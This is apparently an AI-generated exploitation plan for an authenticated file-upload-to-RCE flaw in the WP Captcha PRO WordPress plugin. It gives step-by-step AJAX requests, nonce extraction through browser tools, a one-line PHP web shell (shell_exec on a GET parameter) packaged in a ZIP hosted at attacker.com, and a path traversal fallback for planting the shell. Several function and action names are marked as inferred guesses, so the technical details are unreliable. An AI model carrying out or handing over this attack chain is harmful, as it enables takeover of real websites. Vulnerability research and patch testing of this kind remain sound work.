Exploitation Research Plan: CVE-2026-5411 (WP Captcha PRO)

1. Vulnerability Summary

The WP Captcha PRO (premium version of Advanced Google reCAPTCHA) is vulnerable to Remote Code Execution (RCE) via an authenticated arbitrary file upload. The vulnerability stems from two primary failures:

1. Missing Authorization: The save_ajax() function in the licensing module (likely within a file like libs/licensing.php or libs/ajax-pro.php) lacks a sufficient capability check, allowing users with Subscriber roles to modify license-related metadata.
2. Unrestricted Extraction: The sync_cloud_protection() function (inferred) downloads a ZIP file from a user-provided URL (cloud_protection_url) and extracts its contents into a web-accessible directory without validating the file types within the archive.

2. Attack Vector Analysis

• Target Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: wpcaptcha_save_ajax or wpcaptcha_save_license (inferred from the save_ajax() function name).
• Payload Parameter: cloud_protection_url (injected into license meta).
• Authentication: Authenticated, Subscriber level or higher.
• Preconditions: allow_url_fopen must be enabled in php.ini for the remote download to succeed.

3. Code Flow (Inferred from Patch Description)

1. Entry Point: An authenticated user (Subscriber) sends a POST request to admin-ajax.php with a specific action (e.g., action=wpcaptcha_save_settings or similar).
2. Authorization Bypass: The save_ajax() function fails to verify that the current user has manage_options capabilities. It only verifies authentication or uses a weak check.
3. Meta Injection: The attacker provides a URL in the cloud_protection_url parameter. The plugin saves this into the wpcaptcha_meta option or a similar configuration key.
4. Extraction Trigger: The plugin invokes sync_cloud_protection(). This may happen immediately after saving or via a separate AJAX action (e.g., action=wpcaptcha_sync_cloud).
5. Sink: sync_cloud_protection() uses file_get_contents or copy (facilitated by allow_url_fopen) to download a ZIP from the malicious URL and uses the PclZip library or ZipArchive to extract it into /wp-content/uploads/wpcaptcha/ (inferred) without filtering .php files.

4. Nonce Acquisition Strategy

The licensing module likely localizes a nonce for its AJAX operations.

1. Identify Page: Licensing settings are usually found at /wp-admin/admin.php?page=advanced-google-recaptcha-license or within a tab in the main settings.
2. Navigate: Use browser_navigate to visit the plugin settings page as a Subscriber.
3. Extract: Use browser_eval to find the nonce. The plugin enqueues scripts in WPCaptcha_Admin::admin_enqueue_scripts.
   • Inferred Variable: window.wpcaptcha_admin?.nonce or window.wpcaptcha_licensing?.nonce.
   • Inferred Action: The nonce is likely created with wp_create_nonce('wpcaptcha_nonce') or wp_create_nonce('wpcaptcha_license_nonce').

5. Exploitation Strategy

Step 1: Prepare Malicious Payload

Create a ZIP archive named shell.zip containing a simple PHP backdoor:

<?php echo shell_exec($_GET['cmd']); ?>

Host this file on a remote server (e.g., http://attacker.com/shell.zip).

Step 2: Inject Malicious URL

Send an AJAX request to update the license metadata.

• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Body (URL-Encoded):

  action=wpcaptcha_save_ajax&cloud_protection_url=http://attacker.com/shell.zip&_wpnonce=[EXTRACTED_NONCE]
  

Step 3: Trigger Synchronization

The sync might be automatic, but if not, trigger it manually:

• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Body (URL-Encoded):

  action=wpcaptcha_sync_cloud_protection&_wpnonce=[EXTRACTED_NONCE]
  

Step 4: Execution

Access the uploaded shell.

• URL: http://<target>/wp-content/uploads/wpcaptcha/shell.php?cmd=id

6. Test Data Setup

1. Install Plugin: Install "Advanced Google reCAPTCHA" (PRO version) <= 5.38.
2. User Creation: Create a Subscriber user:
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
3. PHP Config: Ensure allow_url_fopen = On in the environment's php.ini.
4. Host ZIP: Host a ZIP file containing shell.php on a reachable web server.

7. Expected Results

• The save_ajax request should return a success JSON response (e.g., {"success":true}).
• The sync operation should download the ZIP and extract it.
• A GET request to the shell URL should return the output of the id command.

8. Verification Steps

After the HTTP exploit, verify the file's existence and content via WP-CLI:

# Check if the directory exists
ls -R /var/www/html/wp-content/uploads/wpcaptcha/

# Check the content of the uploaded file
cat /var/www/html/wp-content/uploads/wpcaptcha/shell.php

# Check the stored option/meta
wp option get wpcaptcha_meta

9. Alternative Approaches

• Tab Persistence: If save_ajax is not the correct action, look for wpcaptcha_save_settings in libs/ajax.php. The premium version might hook into the same handler but allow additional keys like cloud_protection_url.
• Direct Meta Update: Check if the plugin uses update_user_meta or update_post_meta in a way that allows a Subscriber to overwrite global plugin options.
• Path Traversal: If the extraction allows path traversal (e.g., filenames like ../../shell.php), attempt to write the shell directly into the plugin directory.